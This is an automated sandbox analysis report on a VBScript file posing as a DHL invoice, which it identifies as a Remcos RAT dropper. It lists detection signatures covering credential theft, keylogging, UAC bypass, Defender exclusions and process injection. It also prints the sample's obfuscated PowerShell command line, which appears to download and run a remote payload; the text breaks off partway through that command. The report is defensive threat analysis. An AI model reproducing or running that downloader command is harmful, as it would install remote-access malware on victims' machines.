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Windows
Analysis Report
DHL_Shipping_Invoices_Awb_0000000.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Sigma detected: Copy file to startup via Powershell
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Connects to many ports of the same IP (likely port scanning)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious values (likely registry only malware)
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Self deletion via cmd or bat file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to detect virtual machines (STR)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Script Run in AppData
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses FTP
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 1632 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\DHL_S hipping_In voices_Awb _0000000.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 5236 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ qKKzc = 'O w' + [char ]66 + '9AD sAKQAgACkA IAAnAEQAMQ ' + [char] 66 + 'EACA ARAAnACAAL AAgAFgAUA' + [char]6 6 + 'VAHUA aAAkACAALA AgACcAaA' + [char]66 + '0AHQAc AA6AC8ALw' + [char]6 6 + 'zAGIA ZQ' + [cha r]66 + 'sA GUAZw' + [ char]66 + 'pAC4AYw' + [char]66 + 'vAG0AL g' + [char ]66 + 'iAH IALw' + [c har]66 + ' 3AHAALQ' + [char]66 + 'jAG8Abg ' + [char] 66 + '0AGU Abg' + [ch ar]66 + '0 AC8AcA' + [char]66 + 'sAHUAZw' + [char]6 6 + 'pAG4A cwAvAGMAbw ' + [char] 66 + 'nAG4 AYQ' + [ch ar]66 + 'j AC8Acw' + [char]66 + 'tAHMAaQ' + [char]6 6 + 'uAGMA Lg' + [cha r]66 + '0A HgAdAAnACA AKAAgAF0AX Q' + [char ]66 + 'bAH QAYw' + [c har]66 + ' lAGoAYg' + [char]66 + 'vAFsAIA AsACAAbA' + [char]66 + 'sAHUAb gAkACAAKA' + [char]6 6 + 'lAGsA bw' + [cha r]66 + '2A G4ASQAuACk AIAAnAEkAV g' + [char ]66 + 'GAH IAcAAnACAA KA' + [cha r]66 + 'kA G8AaA' + [ char]66 + '0AGUATQ' + [char]66 + '0AGUAR wAuACkAJwA xAHMAcw' + [char]66 + 'hAGwAQw AuADMAeQ' + [char]66 + 'yAGEAc g' + [char ]66 + 'iAG kATA' + [c har]66 + ' zAHMAYQ' + [char]66 + 'sAEMAJw AoAGUAcA' + [char]66 + '5AFQAd A' + [char ]66 + 'lAE cALgApACAA Wg' + [cha r]66 + 'jA EIAYw' + [ char]66 + 'hACQAIAAo AGQAYQ' + [char]66 + 'vAEwALg' + [char]6 6 + 'uAGkA YQ' + [cha r]66 + 'tA G8ARA' + [ char]66 + '0AG4AZQ' + [char]66 + 'yAHIAd Q' + [char ]66 + 'DAD oAOg' + [c har]66 + ' dAG4AaQ' + [char]66 + 'hAG0Abw ' + [char] 66 + 'EAHA AcA' + [ch ar]66 + '' + [char]6 6 + 'AC4Ab Q' + [char ]66 + 'lAH QAcw' + [c har]66 + ' 5AFMAWwA7A CkAIAApACA AJw' + [ch ar]66 + '' + [char]6 6 + 'ACcAI AAsACAAJwC TIToAkyEnA CAAKA' + [ char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZ Q' + [char ]66 + 'SAC 4AZw' + [c har]66 + ' TAHoAQw' + [char]66 + 'CAGwAJA AgACgAZw' + [char]66 + 'uAGkAc g' + [char ]66 + '0AF MANAA2AGUA cw' + [cha r]66 + 'hA EIAbQ' + [ char]66 + 'vAHIARgA6 ADoAXQ' + [char]66 + '0AHIAZQ' + [char]6 6 + '2AG4A bw' + [cha r]66 + 'DA C4AbQ' + [ char]66 + 'lAHQAcw' + [char]66 + '5AFMAW wAgAD0AIA' + [char]6 6 + 'aAGMA Qg' + [cha r]66 + 'jA GEAJAAgAF0 AXQ' + [ch ar]66 + 'b AGUAdA' + [char]66 + '5AEIAWwA 7ACcAJQ' + [char]66 + 'JAGgAcQ ' + [char] 66 + 'SAFg AJQAnACAAP QAgAFgAUA' + [char]6 6 + 'VAHUA aAAkADsAKQ AgAGcAUw' + [char]66 + '6AEMAQ g' + [char ]66 + 'sAC QAIAAoAGcA bg' + [cha r]66 + 'pA HIAdA' + [ char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAb g' + [char ]66 + '3AG 8ARAAuAGcA ag' + [cha r]66 + 'nA GYAegAkACA APQAgAGcAU w' + [char ]66 + '6AE MAQg' + [c har]66 + ' sACQAOwA4A EYAVA' + [ char]66 + 'VADoAOg' + [char]66 + 'dAGcAb g' + [char ]66 + 'pAG QAbw' + [c har]66 + ' jAG4ARQAuA HQAeA' + [ char]66 + 'lAFQALg' + [char]66 + 'tAGUAd